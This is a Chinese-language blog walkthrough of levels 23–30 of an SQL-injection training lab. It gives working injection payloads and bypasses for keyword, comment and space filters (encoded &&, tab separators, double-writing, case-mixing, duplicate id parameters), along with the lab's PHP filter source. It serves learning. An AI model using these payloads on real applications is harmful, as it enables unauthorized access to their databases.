不知不觉鸽了几天了，没办法去旅游摸鱼是这样的了，抓紧时间来小更一下
23.过滤注释符号
先手工注入一下，就能发现两个单引号不报错，但是一旦上到注释符号的话就会报错，可以猜测出是对注释符号进行了过滤，我们也去看一下源码！！
$reg = "/#/";
$reg1 = "/--/";
$replace = "";
$id = preg_replace($reg, $replace, $id);
$id = preg_replace($reg1, $replace, $id);不难发现，源代码的意思就是将 # -- 这两个注释符号替换成空，那很简单我们不注释就好了
不多说下一关！！
24.二次注入
这个关卡在前面讲过，就不多赘述，有兴趣的话可以翻一下我前面的文章
25.小小过滤and，编码秒了
这一关从它的提示都能发现他过滤了and和or，但是没有过滤编码（我猜的）
于是就开始poc:
1'+%26%26+1=1--+成功能够看见返回（Hint：在sql中and和&&的作用都是一样的）
26.过滤我and？还过滤我空格？但是无伤大雅
这一关一开始我是没有看提示的，直接手工注入，字符型，没跑
然后注释测试发现又给我过滤了，于是就写这样的poc
id=1'+and+1='1不出意外，报错。。。。。。于是就在想是不是and导致的报错，于是poc就有
id=1'and'回显正常，说明是and被过滤，尝试编码绕过
没有回显(报错)，说明是and被过滤， 而且%26%26被成功解析
于是继续我们的poc
id=1'+%26%26+1='1发现能成功回显，然后其实完全就到此为止了，但是，！@@@@！！！！
看一眼提示？其实就能发现它对空格也进行了过滤，但是没有什么关系，因为就算sql语句堆在一起，只要不触碰到关键词，都是会执行的，但是如果你想完美 加个/**/就好
27.and？三次绕过&&大小写
这题其实完全可以直接用and秒了，但是既然他都已经在暗示我过滤了select 和union了 那我怎么好意思不绕一下waf 开始poc（因为注释被过滤，所以select的最后一个要是'包裹）
321331231'+union+select+1,2,'1 看看被过滤成了啥？好家伙，空格，union select 你是吞的一个不剩😓😓
那我们分别试一下双写一下试试？发现union和tab（%09）是出来了，但是我select呢？？
321331231'+uniunionon%09seselectlect%091,2,'1 于是试一下大小写？,成功绕过WAF
321331231'+uniunionon%09SelEct%091,user(),'1 这样就做出来了，但是还是得去看一下源代码，（为了日后的代码审计）
function blacklist($id)
{
$id= preg_replace('/[\/\*]/',"", $id); //strip out /*
$id= preg_replace('/[--]/',"", $id); //Strip out --.
$id= preg_replace('/[#]/',"", $id); //Strip out #.
$id= preg_replace('/[ +]/',"", $id); //Strip out spaces.
$id= preg_replace('/select/m',"", $id); //Strip out spaces.
$id= preg_replace('/[ +]/',"", $id); //Strip out spaces.
$id= preg_replace('/union/s',"", $id); //Strip out union
$id= preg_replace('/select/s',"", $id); //Strip out select
$id= preg_replace('/UNION/s',"", $id); //Strip out UNION
$id= preg_replace('/SELECT/s',"", $id); //Strip out SELECT
$id= preg_replace('/Union/s',"", $id); //Strip out Union
$id= preg_replace('/Select/s',"", $id); //Strip out select
return $id;
}
- 可以看到首先它是过滤了/ 和*
- 然后将 -- #这些过滤掉
- 接着就是空格了
- 接下来就是select 了可以看见它前前后后一共过滤了两次，所以这就是为什么我们对select双写没有用的原因
- 然后就是对union进行替换，而且是只替换一次，这里就是为什么可以进行双写绕过的原因
那么审计完代码了，其实我们是不是可以对select 进行一次三写，？这样也是可以的
321331231'+uniunionon%09seselecselecttlect%091,user(),'128.这不看源代码写的出来？？牛魔WAF
这个题呃呃呃，感觉不看源代码真的绕不过这这个waf啊
我belike： 
来吧，先上最简单的poc：
1'%09union%09select%091,2,'3
发现变成了这样，双写一下试试看？
？又不过滤了
1'%09uniounionn%09seselectlect%091,2,'3
再来？
1'%09unionunion%09selectselect%091,2,'3
这是什么神奇waf（长见识了，其实这种就已经不在是匹配关键字）
而是匹配一种结构！！！！！！
于是就可以发现它匹配的是 union select这样的结构，那我们替换一下就好
2321312321312'%09union%09union%09selectselect%091,user(),'3
但是呢，你会收获一个这个
可以看见语句是被构造出来了，但是没有被执行，而且这个报错也不是我们常见的类型syntax error 于是我们去翻译一下 期待参数1是资源，但是却接收到了布尔值
也就是说接收到得分参数不匹配，于是去看一下源代码。。。。
sql="SELECT * FROM users WHERE id=('$id') LIMIT 0,1";逆天！！！还有一个 （） 怪不得一直不对，所以最终的poc就出来了
2321312321312')%09union%09union%09selectselect%091,user(),('3
29.明明可以绝杀，但是为什么要故意放水(bushi)
这一关，明明作者可以直接堵死注入点，但是他还是留了一条出路 来看！！！
首先看见这个hint就知道不简单，来看看他有多逆天
先是最简单的 1’这样的判断
发现就直接被过滤了，而且这题你会发现你怎么绕过都是这个结果，没办法，看源码
直到我看完源代码才知道什么是不是不可以，而是没有必要
先来看一个函数 whitelist
function whitelist($input)
{$match = preg_match("/^\d+$/", $input);if($match){//echo "you are good";//return $match;}else{ header('Location: hacked.php');//echo "you are bad";}
}- 这里唯一要解释一下的，因该就只有$match = preg_match("/^\d+$/", $input); 了
- 这个表示的是正则匹配传入的参数从开头到结尾是不是都是纯数字
- 然后如果不是的话就跳转至 hacked.php 然后阻断注入
本来这个就已经是绝杀了的，但是慈祥的出题人还是给我们留下了退路（像极了老师捞人的样子）
函数java_implimentation（）
function java_implimentation($query_string)
{$q_s = $query_string;$qs_array= explode("&",$q_s);foreach($qs_array as $key => $value){$val=substr($value,0,2);if($val=="id"){$id_value=substr($value,3,30); return $id_value;echo "<br>";break;}}}- 巴拉巴拉一大堆，其实就是在将传入的参数以&符号分割开来，用数组接收
- 并且它只检查第一个id值，并且返回id后面的参数值（就是这里在放水！！）
放水还远不止于此，继续看！！！
$qs = $_SERVER['QUERY_STRING'];$hint=$qs;$id1=java_implimentation($qs);$id=$_GET['id'];//echo $id1;whitelist($id1);// connectivity $sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";其实我一直很好奇 他为什么不将$sql里面的动态插入的sql语句中的$id 换成能够通过过滤的$id1
看的出来放水放到极致了 
所以这题的绕过方法就出来了， 写两个id
- 第一个id为正常的数字参数，能够被正常检验，并且通过waf 然后再将后面咩有过滤的id拼接上去造成注入
于是就有最终的poc
id=1'&id=-1'+union+select+1,database(),user()--+
30.还是29关但是"
这一关还是一样，不过后面的 ' 要改成双引号 " 然后其他的都一样了 poc：
id=0&id=0"+union+select+1,user(),database()--+ 
差不多，写了七关，感觉要写到累死了， 
，后面的先鸽着，有时间再补，到时候过年的时候打算自己开一下红队，因为 我的兄弟：
我的兄弟萌，"内网，才是真正的战场，才是一个人的知识体系的最终融合体现！！！"
